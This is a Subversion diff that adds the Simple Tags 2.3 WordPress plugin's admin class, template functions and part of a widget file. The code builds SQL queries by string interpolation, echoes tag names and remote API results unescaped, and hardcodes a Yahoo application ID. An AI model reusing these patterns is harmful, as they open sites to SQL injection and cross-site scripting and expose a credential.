+			#advancedstuff_tag div.dbx-b-ox-wrapper{background:url(images/box-butt-left.gif) no-repeat bottom left;}
+			#advancedstuff_tag .dbx-box-closed div.dbx-c-ontent-wrapper{padding-bottom:2px;background:url(images/box-butt-left.gif) no-repeat bottom left;}
+			#advancedstuff_tag .dbx-box{background:url(images/box-butt-right.gif) no-repeat bottom right;}
+		</style>
+		<div id="advancedstuff_tag" class="dbx-group" >
+			<div class="dbx-b-ox-wrapper">
+				<fieldset id="suggesttagsdiv" class="dbx-box">
+				<div class="dbx-h-andle-wrapper">
+					<h3 class="dbx-handle">
+						<?php _e('Suggested tags from :', 'simpletags'); ?>&nbsp;&nbsp;
+						<a class="local_db" href="#advancedstuff_tag"><?php _e('Local tags', 'simpletags'); ?></a>&nbsp;&nbsp;-&nbsp;&nbsp;
+						<a class="yahoo_api" href="#advancedstuff_tag"><?php _e('Yahoo', 'simpletags'); ?></a>&nbsp;&nbsp;-&nbsp;&nbsp;
+						<a class="ttn_api" href="#advancedstuff_tag"><?php _e('Tag The Net', 'simpletags'); ?></a>
+					</h3>
+					<img id="st_ajax_loading" src="<?php echo $this->info['install_url']; ?>/inc/images/ajax-loader.gif" alt="Ajax loading" />
+				</div>
+				<div class="dbx-c-ontent-wrapper">
+					<div class="dbx-content">
+						<?php _e('Choose a provider to get suggested tags (local, yahoo or tag the net).', 'simpletags'); ?>
+						<div class="clearer"></div>
+					</div>
+				</div>
+				</fieldset>
+			</div>
+		</div>
+	   	<script type="text/javascript">
+	    // <![CDATA[
+	    	function getContentFromEditor() {
+	    		var data = '';
+				if ( typeof tinyMCE != "undefined" && tinyMCE.configs.length > 0 ) { // Tiny MCE
+					data = tinyMCE.getContent().stripTags();
+				} else if ( typeof FCKeditorAPI != "undefined" ) { // FCK Editor
+					var oEditor = FCKeditorAPI.GetInstance('content') ;
+					data = oEditor.GetHTML().stripTags();
+				} else if ( typeof WYM_INSTANCES != "undefined" ) { // Simple WYMeditor
+					data = WYM_INSTANCES[0].xhtml().stripTags();
+				} else { // No editor, just quick tags
+					data = jQuery("#content").val().stripTags();
+				}
+				return data;
+	    	}
+
+	    	jQuery(document).ready(function() {
+	    		function loadAndRegisterSuggestedTags() {
+					jQuery("#advancedstuff_tag .dbx-content span").click(function() { addTag(this.innerHTML); });
+					jQuery('#st_ajax_loading').hide();
+	    		}
+
+				jQuery("a.yahoo_api").click(function() {
+					jQuery('#st_ajax_loading').show();
+					jQuery("#advancedstuff_tag .dbx-content").load('<?php echo $this->info['siteurl']; ?>/wp-admin/admin.php?st_ajax_action=tags_from_yahoo', {content:getContentFromEditor(),title:jQuery("#title").val(),tags:jQuery("#tags-input").val()}, function(){
+						loadAndRegisterSuggestedTags();
+					});
+					return false;
+				});
+
+				jQuery("a.local_db").click(function() {
+					jQuery('#st_ajax_loading').show();
+					jQuery("#advancedstuff_tag .dbx-content").load('<?php echo $this->info['siteurl']; ?>/wp-admin/admin.php?st_ajax_action=tags_from_local_db', {content:getContentFromEditor(),title:jQuery("#title").val()}, function(){
+						loadAndRegisterSuggestedTags();
+					});
+					return false;
+				});
+
+				jQuery("a.local_all").click(function() {
+					jQuery('#st_ajax_loading').show();
+					jQuery("#advancedstuff_tag .dbx-content").load('<?php echo $this->info['siteurl']; ?>/wp-admin/admin.php?st_ajax_action=tags_from_local_db', {all:'true'}, function(){
+						loadAndRegisterSuggestedTags();
+					});
+					return false;
+				});
+
+				jQuery("a.ttn_api").click(function() {
+					jQuery('#st_ajax_loading').show();
+					jQuery("#advancedstuff_tag .dbx-content").load('<?php echo $this->info['siteurl']; ?>/wp-admin/admin.php?st_ajax_action=tags_from_tagthenet', {content:getContentFromEditor(),title:jQuery("#title").val()}, function(){
+						loadAndRegisterSuggestedTags();
+					});
+					return false;
+				});
+			});
+		// ]]>
+	    </script>
+    <?php
+	}
+
+	############## Mass Edit Pages ##############
+	/**
+	 * Javascript helper for mass edit tags
+	 *
+	 */
+	function helperMassBCompleteJS() {
+		// Get total
+		$tags = (int) wp_count_terms('post_tag');
+
+		// If no tags => exit !
+		if ( $tags == 0 ) {
+			return;
+		}
+		$this->all_tags = true;
+		?>
+		<script type="text/javascript" src="<?php echo $this->info['siteurl'] ?>/wp-admin/admin.php?st_ajax_action=helper_js_collection&ver=<?php echo $this->version; ?>"></script>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/bcomplete/bcomplete.js?ver=<?php echo $this->version; ?>"></script>
+	  	<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/bcomplete/bcomplete.css?ver=<?php echo $this->version; ?>" />
+		<?php if ( 'rtl' == get_bloginfo( 'text_direction' ) ) : ?>
+			<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/bcomplete/bcomplete-rtl.css?ver=<?php echo $this->version; ?>" />
+		<?php endif;
+	}
+
+	/**
+	 * Get posts/pages data for edit
+	 *
+	 * @param string $type
+	 * @param integer $quantity
+	 * @param integer $author
+	 * @param string $order
+	 * @param string $filter
+	 * @param string $search
+	 * @return array|boolean
+	 */
+	function getObjects( $type = 'post', $quantity = 20, $author = 0, $order = 'date_desc', $filter = 'all', $search = '' ) {
+		global $wpdb;
+
+		// Quantity
+		$this->data_per_page = $quantity;
+
+		if ( $type == 'post' || $type == 'page' ) { // Posts and Pages
+			// Order
+			switch ($order) {
+				case 'date_asc':
+					$order_sql = 'ORDER BY p.post_date ASC';
+				break;
+				case 'id_desc':
+					$order_sql = 'ORDER BY p.ID DESC';
+				break;
+				case 'id_asc':
+					$order_sql = 'ORDER BY p.ID ASC';
+				break;
+				default:
+					$order_sql = 'ORDER BY p.post_date DESC';
+				break;
+			}
+
+			// Search
+			$search_sql = '';
+			$search = trim($search);
+			if ( !empty($search) ) {
+				$search = addslashes_gpc($search);
+				$search_sql = "AND ( (p.post_title LIKE '%{$search}%') OR (p.post_content LIKE '%{$search}%') )";
+			}
+
+			// Restrict Author
+			$author_sql = ( $author != 0 ) ? "AND p.post_author = '{$author}'" : '';
+
+			// Status
+			$filter_sql = '';
+			if ( $filter == 'untagged' ) {
+				$p_id_used = $wpdb->get_col("
+			      SELECT tr.object_id
+			      FROM {$wpdb->term_taxonomy} AS tt, {$wpdb->term_relationships} AS tr, {$wpdb->posts} AS p
+			      WHERE tt.taxonomy = 'post_tag'
+			      AND tt.term_taxonomy_id = tr.term_taxonomy_id
+			      AND tr.object_id  = p.ID
+			      AND p.post_type = '{$type}'
+			      GROUP BY tr.object_id");
+
+				$filter_sql = 'AND p.ID NOT IN ("'.implode( '", "', $p_id_used ).'")';
+				unset($p_id_used);
+			}
+
+			// Get datas with pagination
+			$this->found_datas = (int) $wpdb->get_var("
+		        SELECT COUNT(p.ID)
+		        FROM {$wpdb->posts} AS p
+		        WHERE p.post_type = '{$type}'
+		        {$search_sql}
+		        {$author_sql}
+		        {$filter_sql}");
+
+			$this->max_num_pages = ceil($this->found_datas/$this->data_per_page);
+
+			if( $this->actual_page != 1 ) {
+				if($this->actual_page > $this->max_num_pages) {
+					$this->actual_page = $this->max_num_pages;
+				}
+			}
+
+			$limit_sql = 'LIMIT '.(($this->actual_page - 1) * $this->data_per_page).', '.$this->data_per_page;
+
+			$ps = (array) $wpdb->get_results("
+		        SELECT p.ID, p.post_title
+		        FROM {$wpdb->posts} AS p
+		        WHERE p.post_type = '{$type}'
+		        {$search_sql}
+		        {$author_sql}
+		        {$filter_sql}
+		        {$order_sql}
+		        {$limit_sql}");
+
+			foreach ( $ps as $p ) {
+				$objects[$p->ID]['title'] = $p->post_title;
+			}
+			return $objects;
+		} elseif ( $type == 'link' ) {
+			// link_owner -- future
+			return false;
+		}
+		return false;
+	}
+
+
+	/**
+	 * Control POST data for mass edit tags
+	 *
+	 * @param string $type
+	 */
+	function checkFormMassEdit( $type = 'post' ) {
+		if ( isset($_POST['update_mass']) ) {
+			// origination and intention
+			if ( ! ( wp_verify_nonce($_POST['secure_mass'], 'st_mass_tags') ) ) {
+				$this->message = __('Security problem. Try again. If this problem persist, contact <a href="mailto:amaury@wordpress-fr.net">plugin author</a>.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			if ( $type == 'post' || $type == 'page' ) {
+				$taxonomy = 'post_tag';
+			}
+
+			if ( isset($_POST['tags']) ) {
+				$counter = 0;
+				foreach ( (array) $_POST['tags'] as $object_id => $tag_list ) {
+					// Trim data
+					$tag_list = trim(stripslashes($tag_list));
+
+					// String to array
+					$tags = explode( ',', $tag_list );
+
+					// Remove empty and trim tag
+					$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+
+					// Add new tag (no append ! replace !)
+					wp_set_object_terms( $object_id, $tags, $taxonomy );
+					$counter++;
+				}
+
+				wp_cache_flush(); // Delete cache
+				if ( $type == 'post' ) {
+					$this->message = sprintf(__('%s post(s) tags updated with success !', 'simpletags'), $counter);
+				} elseif ( $type == 'page' ) {
+					$this->message = sprintf(__('%s page(s) tags updated with success !', 'simpletags'), $counter);
+				}
+			}
+		}
+	}
+
+	############## WP Options ##############
+	/**
+	 * Update an option value  -- note that this will NOT save the options.
+	 *
+	 * @param string $optname
+	 * @param string $optval
+	 */
+	function setOption($optname, $optval) {
+		$this->options[$optname] = $optval;
+	}
+
+	/**
+	 * Save all current options
+	 *
+	 */
+	function saveOptions() {
+		update_option($this->db_options, $this->options);
+		wp_cache_flush(); // Delete cache
+	}
+
+	/**
+	 * Reset to default options
+	 *
+	 */
+	function resetToDefaultOptions() {
+		update_option($this->db_options, $this->default_options);
+		$this->options = $this->default_options;
+		wp_cache_flush(); // Delete cache
+	}
+
+	/**
+	 * Delete Simple Tags options from DB.
+	 *
+	 */
+	function deleteAllOptions() {
+		delete_option($this->db_options, $this->default_options);
+		wp_cache_flush(); // Delete cache	
+	}
+
+	############## Ajax ##############
+	/**
+	 * Ajax Dispatcher, Choose right function depending $_GET value
+	 *
+	 */
+	function ajaxCheck() {
+		if ( $_GET['st_ajax_action'] == 'get_tags' ) {
+			$this->ajaxListTags();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_yahoo' ) {
+			$this->ajaxYahooTermExtraction();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_tagthenet' ) {
+			$this->ajaxTagTheNet();
+		} elseif ( $_GET['st_ajax_action'] == 'helper_js_collection' ) {
+			$this->ajaxHelperJsCollection();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_local_db' ) {
+			$this->ajaxSuggestLocal();
+		} elseif ( $_GET['st_ajax_action'] == 'click_tags' ) {
+			$this->ajaxClickTags();
+		}
+	}
+
+	/**
+	 * Get tags list for manage tags page.
+	 *
+	 */
+	function ajaxListTags() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+
+		// Build param for tags
+		$sort_order = attribute_escape(stripslashes($_GET['order']));
+		switch ($sort_order) {
+			case 'natural' :
+				$param = 'hide_empty=false&cloud_selection=name-asc';
+				break;
+			case 'asc' :
+				$param = 'hide_empty=false&cloud_selection=count-asc';
+				break;
+			default :
+				$param = 'hide_empty=false&cloud_selection=count-desc';
+				break;
+		}
+
+		$total = wp_count_terms('post_tag');
+
+		$current_page = (int) $_GET['pagination'];
+		$param .= '&number=LIMIT '. $current_page * $this->nb_tags . ', '.$this->nb_tags;
+
+		// Get tags
+		global $simple_tags;
+		$tags = (array) $simple_tags->getTags($param, true);
+
+		// Build output
+		echo '<ul class="ajax_list">';
+		foreach( $tags as $tag ) {
+			echo '<li><strong>'.$tag->term_id.'.</strong> <span>'.$tag->name.'</span>&nbsp;<a href="'.(get_tag_link( $tag->term_id )).'" title="'.sprintf(__('View all posts tagged with %s', 'simpletags'), $tag->name).'">('.$tag->count.')</a></li>'."\n";
+		}
+		unset($tags);
+		echo '</ul>';
+
+		// Build pagination
+		$ajax_url = $this->info['siteurl']. '/wp-admin/admin.php?st_ajax_action=get_tags';
+
+		// Order
+		if ( isset($_GET['order']) ) {
+			$ajax_url = $ajax_url . '&amp;order='.$sort_order ;
+		}
+		?>
+		<div class="navigation">
+			<?php if ( ($current_page * $this->nb_tags)  + $this->nb_tags > $total ) : ?>
+				<?php _e('Previous tags', 'simpletags'); ?>
+			<?php else : ?>
+				<a href="<?php echo $ajax_url. '&amp;pagination='. ($current_page + 1); ?>"><?php _e('Previous tags', 'simpletags'); ?></a>
+			<?php endif; ?>
+			|
+			<?php if ( $current_page == 0 ) : ?>
+				<?php _e('Next tags', 'simpletags'); ?>
+			<?php else : ?>
+			<a href="<?php echo $ajax_url. '&amp;pagination='. ($current_page - 1) ?>"><?php _e('Next tags', 'simpletags'); ?></a>
+			<?php endif; ?>
+		</div>
+		<?php
+		exit();
+	}
+
+	/**
+	 * Get suggest tags from Yahoo Term Extraction
+	 *
+	 */
+	function ajaxYahooTermExtraction() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+
+		// Application entrypoint -> http://www.herewithme.fr/wordpress-plugins/simple-tags
+		// Yahoo ID : h4c6gyLV34Fs7nHCrHUew7XDAU8YeQ_PpZVrzgAGih2mU12F0cI.ezr6e7FMvskR7Vu.AA--
+		$yahoo_id = 'h4c6gyLV34Fs7nHCrHUew7XDAU8YeQ_PpZVrzgAGih2mU12F0cI.ezr6e7FMvskR7Vu.AA--';
+		$yahoo_api_host = 'search.yahooapis.com'; // Api URL
+		$yahoo_api_path = '/ContentAnalysisService/V1/termExtraction'; // Api URL
+
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			exit();
+		}
+		$tags = stripslashes($_POST['tags']);
+
+		// Build params
+		$param = 'appid='.$yahoo_id; // Yahoo ID
+		$param .= '&context='.urlencode($content); // Post content
+		if ( !empty($tags) ) {
+			$param .= '&query='.urlencode($tags); // Existing tags
+		}
+		$param .= '&output=php'; // Get PHP Array !
+
+		$data = '';
+		if ( function_exists('curl_init') ) { // Curl exist ?
+			$curl = curl_init();
+
+			curl_setopt($curl, CURLOPT_URL, 'http://'.$yahoo_api_host.$yahoo_api_path.'?'.$param);
+			curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+    		curl_setopt($curl, CURLOPT_POST, true);
+
+			$data = curl_exec($curl);
+			curl_close($curl);
+
+			$data = unserialize($data);
+		} else { // Fsocket
+			$request = 'appid='.$yahoo_id.$param;
+
+			$http_request  = "POST $yahoo_api_path HTTP/1.0\r\n";
+			$http_request .= "Host: $yahoo_api_host\r\n";
+			$http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option('blog_charset') . "\r\n";
+			$http_request .= "Content-Length: " . strlen($request) . "\r\n";
+			$http_request .= "\r\n";
+			$http_request .= $request;
+
+			if( false != ( $fs = @fsockopen( $yahoo_api_host, 80, $errno, $errstr, 3) ) && is_resource($fs) ) {
+				fwrite($fs, $http_request);
+
+				while ( !feof($fs) )
+					$data .= fgets($fs, 1160); // One TCP-IP packet
+				fclose($fs);
+				$data = explode("\r\n\r\n", $data, 2);
+			}
+
+			$data = unserialize($data[1]);
+		}
+
+		$data = (array) $data['ResultSet']['Result'];
+		
+		// Remove empty terms
+		$data = array_filter($data, array(&$this, 'deleteEmptyElement'));
+
+		foreach ( $data as $term ) {
+			echo '<span class="yahoo">'.$term.'</span>'."\n";
+		}
+		echo '<div class="clearer"></div>';
+		exit();
+	}
+
+	/**
+	 * Get suggest tags from Tag The Net
+	 *
+	 */
+	function ajaxTagTheNet() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+
+		$api_host = 'tagthe.net'; // Api URL
+		$api_path = '/api/'; // Api URL
+
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			exit();
+		}
+
+		// Build params
+		$param .= 'text='.urlencode($content); // Post content
+		$param .= '&view=xml&count=50';
+
+		$data = '';
+		$request = $param;
+
+		$http_request  = "POST $api_path HTTP/1.0\r\n";
+		$http_request .= "Host: $api_host\r\n";
+		$http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option('blog_charset') . "\r\n";
+		$http_request .= "Content-Length: " . strlen($request) . "\r\n";
+		$http_request .= "\r\n";
+		$http_request .= $request;
+
+		if( false != ( $fs = @fsockopen( $api_host, 80, $errno, $errstr, 3) ) && is_resource($fs) ) {
+			fwrite($fs, $http_request);
+
+			while ( !feof($fs) )
+				$data .= fgets($fs, 1160); // One TCP-IP packet
+			fclose($fs);
+			$data = explode("\r\n\r\n", $data, 2);
+		}
+
+		$data = $data[1];
+		$terms = $all_topics = $all_locations = $all_persons = $persons = $topics = $locations = array();
+
+		// Get all topics
+		preg_match_all("/(.*?)<dim type=\"topic\">(.*?)<\/dim>(.*?)/s", $data, $all_topics );
+		$all_topics = $all_topics[2][0];
+
+		preg_match_all("/(.*?)<item>(.*?)<\/item>(.*?)/s", $all_topics, $topics );
+		$topics = $topics[2];
+
+		foreach ( (array) $topics as $topic ) {
+			$terms[] = '<span class="ttn_topic">'.$topic.'</span>';
+		}
+
+		// Get all locations
+		preg_match_all("/(.*?)<dim type=\"location\">(.*?)<\/dim>(.*?)/s", $data, $all_locations );
+		$all_locations = $all_locations[2][0];
+
+		preg_match_all("/(.*?)<item>(.*?)<\/item>(.*?)/s", $all_locations, $locations );
+		$locations = $locations[2];
+
+		foreach ( (array) $locations as $location ) {
+			$terms[] = '<span class="ttn_location">'.$location.'</span>';
+		}
+
+		// Get all persons
+		preg_match_all("/(.*?)<dim type=\"person\">(.*?)<\/dim>(.*?)/s", $data, $all_persons );
+		$all_persons = $all_persons[2][0];
+
+		preg_match_all("/(.*?)<item>(.*?)<\/item>(.*?)/s", $all_persons, $persons );
+		$persons = $persons[2];
+
+		foreach ( (array) $persons as $person ) {
+			$terms[] = '<span class="ttn_person">'.$person.'</span>';
+		}
+		
+		// Remove empty terms
+		$terms = array_filter($terms, array(&$this, 'deleteEmptyElement'));
+
+		shuffle($terms);
+		echo implode("\n", $terms);
+		echo '<div class="clearer"></div>';
+		exit();
+	}
+
+	/**
+	 * Get suggest tags from local database
+	 *
+	 */
+	function ajaxSuggestLocal() {
+		$total = wp_count_terms('post_tag');
+
+		// No tags to suggest.
+		if ( $total == 0 ) {
+			exit();
+		}
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		global $simple_tags;
+
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			exit();
+		}
+
+		$counter = 0;
+		while ( ( $counter * 200 ) < $total ) {
+			// Get tags
+			$tags = $simple_tags->getTags('hide_empty=false&cloud_selection=count-desc&number=LIMIT '. $counter * 200 . ', '. 200, true);
+
+			foreach ( (array) $tags as $tag ) {
+				if ( is_string($tag->name) && !empty($tag->name) && stristr($content, $tag->name) ) {
+					echo '<span class="local">'.$tag->name.'</span>'."\n";
+				}
+			}
+			unset($tags, $tag);
+
+			// Increment counter
+			$counter++;
+		}
+		echo '<div class="clearer"></div>';
+		exit();
+	}
+	
+	function ajaxClickTags() {
+		$total = wp_count_terms('post_tag');
+
+		// No tags to suggest.
+		if ( $total == 0 ) {
+			exit();
+		}
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		global $simple_tags;
+
+		$counter = 0;
+		while ( ( $counter * 200 ) < $total ) {
+			// Get tags
+			$tags = $simple_tags->getTags('hide_empty=false&cloud_selection=count-desc&number=LIMIT '. $counter * 200 . ', '. 200, true);
+
+			foreach ( (array) $tags as $tag ) {
+				echo '<span class="local">'.$tag->name.'</span>'."\n";
+			}
+			unset($tags, $tag);
+
+			// Increment counter
+			$counter++;
+		}
+		echo '<div class="clearer"></div>';
+		exit();	
+	}
+
+	/**
+	 * Output full list tags (collection for bcomplete.js)
+	 *
+	 */
+	function ajaxHelperJsCollection() {
+		global $simple_tags;
+
+		if ( is_null($simple_tags) ) {
+			exit();
+		}
+
+		$total = wp_count_terms('post_tag');
+
+		status_header( 200 );
+		cache_javascript_headers();
+
+		echo 'collection = [';
+
+		$flag = false;
+		$counter = 0;
+		while ( ( $counter * 200 ) < $total ) {
+			// Get tags
+			$tags = $simple_tags->getTags('hide_empty=false&cloud_selection=count-desc&number=LIMIT '. $counter * 200 . ', '. 200, true);
+
+			foreach ( (array) $tags as $tag ) {
+				$tag_name = str_replace('"', '\"', $tag->name);
+				if ( $flag === false) {
+					echo '"'.$tag_name.'"';
+					$flag = true;
+				} else {
+					echo ', "'.$tag_name.'"';
+				}
+			}
+			unset($tags, $tag);
+
+			// Increment counter
+			$counter++;
+		}
+
+		echo '];';
+		exit();
+	}
+
+	############## Admin WP Helper ##############
+	/**
+	 * Display plugin Copyright
+	 *
+	 */
+	function printAdminFooter() {
+		?>
+		<p class="tags_admin"><?php printf(__('&copy; Copyright 2007 <a href="http://www.herewithme.fr/" title="Here With Me">Amaury Balmer</a> | <a href="http://wordpress.org/extend/plugins/simple-tags">Simple Tags</a> | Version %s', 'simpletags'), $this->version); ?></p>
+		<?php
+	}
+
+	/**
+	 * Display WP alert
+	 *
+	 */
+	function displayMessage() {
+		if ( $this->message != '') {
+			$message = $this->message;
+			$status = $this->status;
+			$this->message = $this->status = ''; // Reset
+		}
+
+		if ( $message ) {
+		?>
+			<div id="message" class="<?php echo ($status != '') ? $status :'updated'; ?> fade">
+				<p><strong><?php echo $message; ?></strong></p>
+			</div>
+		<?php
+		}
+	}
+
+	/**
+	 * Print link to ST File CSS
+	 *
+	 */
+	function helperCSS() {
+		echo '<link rel="stylesheet" href="'.$this->info['install_url'].'/inc/simple-tags.admin.css?ver='.$this->version.'" type="text/css" />';
+	}
+
+	/**
+	 * Display generic pagination
+	 *
+	 * @param string $action_url
+	 */
+	function printPagination( $action_url ) {
+		if ( $this->max_num_pages > 1 ) {
+			$output = '<div class="pagination">';
+			$output .= '<strong>'. __('Page: ', 'simpletags') .'</strong>';
+			for ( $i = 1; $i <= $this->max_num_pages; $i++ ) {
+				$output .= '<a href="'.$action_url.'&amp;pagination='.$i.'">'.$i.'</a>'."\n";
+			}
+			$output = str_replace('pagination='.$this->actual_page.'">', 'pagination='.$this->actual_page.'" class="current_page">', $output);
+			$output .= '</div>';
+			echo $output;
+		}
+	}
+
+	/**
+	 * Ouput formatted options
+	 *
+	 * @param array $option_data
+	 * @return string
+	 */
+	function printOptions( $option_data ) {
+		// Get actual options
+		$option_actual = (array) $this->options;
+
+		// Generate output
+		$output = '';
+		foreach( $option_data as $section => $options) {
+			$output .= "\n" . '<div id="'. sanitize_title($section) .'"><fieldset class="options"><legend>' . $this->getNiceTitleOptions($section) . '</legend><table class="optiontable">' . "\n";
+			foreach((array) $options as $option) {
+				// Helper
+				if (  $option[2] == 'helper' ) {
+						$output .= '<tr style="vertical-align: top;"><td class="helper" colspan="2">' . $option[4] . '</td></tr>' . "\n";
+						continue;
+				}
+
+				switch ( $option[2] ) {
+					case 'checkbox':
+						$input_type = '<input type="checkbox" id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option[3]) . '" ' . ( ($option_actual[ $option[0] ]) ? 'checked="checked"' : '') . ' />' . "\n";
+						break;
+
+					case 'dropdown':
+						$selopts = explode('/', $option[3]);
+						$seldata = '';
+						foreach( (array) $selopts as $sel) {
+							$seldata .= '<option value="' . $sel . '" ' .(($option_actual[ $option[0] ] == $sel) ? 'selected="selected"' : '') .' >' . ucfirst($sel) . '</option>' . "\n";
+						}
+						$input_type = '<select id="' . $option[0] . '" name="' . $option[0] . '">' . $seldata . '</select>' . "\n";
+						break;	
+					
+					case 'text-color':
+						$input_type = '<input type="text" ' . (($option[3]>50) ? ' style="width: 95%" ' : '') . 'id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option_actual[ $option[0] ]) . '" size="' . $option[3] .'" /><div class="box_color ' . $option[0] . '"></div>' . "\n";
+						break;
+
+					case 'text':
+					default:
+						$input_type = '<input type="text" ' . (($option[3]>50) ? ' style="width: 95%" ' : '') . 'id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option_actual[ $option[0] ]) . '" size="' . $option[3] .'" />' . "\n";
+						break;
+				}
+
+				// Additional Information
+				$extra = '';
+				if( !empty($option[4]) ) {
+					$extra = '<div class="stpexplan">' . __($option[4]) . '</div>' . "\n";
+				}
+
+				// Output
+				$output .= '<tr style="vertical-align: top;"><th scope="row"><label for="'.$option[0].'">' . __($option[1]) . '</label></th><td>' . $input_type . '	' . $extra . '</td></tr>' . "\n";
+			}
+			$output .= '</table>' . "\n";
+			$output .= '</fieldset></div>' . "\n";
+		}
+		return $output;
+	}
+	
+	/**
+	 * Get nice title for tabs title option
+	 *
+	 * @param string $id
+	 * @return string
+	 */
+	function getNiceTitleOptions( $id = '' ) {
+		switch ( $id ) {
+			case 'general':
+				return __('General', 'simpletags');
+				break;
+			case 'administration':
+				return __('Administration', 'simpletags');
+				break;
+			case 'metakeywords':
+				return __('Meta Keyword', 'simpletags');
+				break;
+			case 'embeddedtags':
+				return __('Embedded Tags', 'simpletags');
+				break;
+			case 'tagspost':
+				return __('Tags for Current Post', 'simpletags');
+				break;
+			case 'relatedposts':
+				return __('Related Posts', 'simpletags');
+				break;
+			case 'relatedtags':
+				return __('Related Tags', 'simpletags');
+				break;
+			case 'tagcloud':
+				return __('Tag cloud', 'simpletags');
+				break;
+		}
+		return '';
+	}
+
+	/**
+	 * Escape string so that it can used in Regex. E.g. used for [tags]...[/tags]
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function regexEscape( $content ) {
+		return strtr($content, array("\\" => "\\\\", "/" => "\\/", "[" => "\\[", "]" => "\\]"));
+	}
+	
+	/**
+	 * Add initial ST options in DB
+	 *
+	 */
+	function installSimpleTags() {
+		$options_from_table = get_option( $this->db_options );
+		if ( !$options_from_table ) {
+			$this->resetToDefaultOptions();
+		}
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.functions.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+/**
+ * Generate related posts for a post in WP loop
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_related_posts( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->relatedPosts( $args );
+}
+
+/**
+ * Display related posts for a post in WP loop
+ *
+ * @param string $args
+ */
+function st_related_posts( $args = '' ) {
+	echo st_get_related_posts( $args );
+}
+
+/**
+ * Generate extended tag cloud
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_tag_cloud( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->extendedTagCloud( $args );
+}
+
+/**
+ *  Display extended tag cloud
+ *
+ * @param string $args
+ */
+function st_tag_cloud( $args = '' ) {
+	echo st_get_tag_cloud( $args );
+}
+
+/**
+ * Generate extended current tags post
+ *
+ * @param string $args
+ * @return string
+ */
+function st_get_the_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->extendedPostTags( $args );
+}
+
+/**
+ *  Display extended current tags post
+ *
+ * @param string $args
+ */
+function st_the_tags( $args = '' ) {
+	echo st_get_the_tags( $args );
+}
+
+/**
+ * Generate meta keywords for HTML header
+ *
+ * @return string
+ */
+function st_get_meta_keywords() {
+	global $simple_tags;
+	$tags_list = $simple_tags->generateKeywords();
+	if ( !empty($tags_list) ) {
+		return "\n\t" . '<!-- Generated by Simple Tags ' . $simple_tags->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". '<meta name="keywords" content="' . $tags_list . '" />' . "\n";
+	}
+	return '';
+}
+
+/**
+ * Display meta keywords for HTML header
+ *
+ */
+function st_meta_keywords() {
+	echo st_get_meta_keywords();
+}
+
+/**
+ * Display related tags
+ *
+ * @param string $args
+ */
+function st_related_tags( $args = '' ) {
+	echo st_get_related_tags( $args );
+}
+
+/**
+ * Get related tags
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_related_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->relatedTags( $args );	
+}
+
+/**
+ * Display remove related tags
+ *
+ * @param string $args
+ */
+function st_remove_related_tags( $args = '' ) {
+	echo st_get_remove_related_tags( $args );
+}
+
+/**
+ * Get remove related tags
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_remove_related_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->removeRelatedTags( $args );	
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.widgets.php	(revision 44)
@@ -0,0 +1,288 @@
+<?php
+function widget_st_tag_cloud_init() {
+	// Widgets exists ?
+	if ( !function_exists('wp_register_sidebar_widget') || !function_exists('wp_register_widget_control') ) {
+		return;
+	}
+
+	// Simple Tags exists ?
+	if ( !class_exists('SimpleTags') ) {
+		return;
+	}
+
+	function widget_st_tag_cloud( $widget_args, $number = 1 ) {
+		extract($widget_args);
+		$options = get_option('widget_stags_cloud');
+
+		// Use Widgets title and no ST title !!
+		$args = 'title=';
+
+		// Selection
+		$selection = trim(strtolower($options[$number]['selection']));
+		if ( !empty($selection) ) {
+			$args .= '&cloud_selection='.$selection;
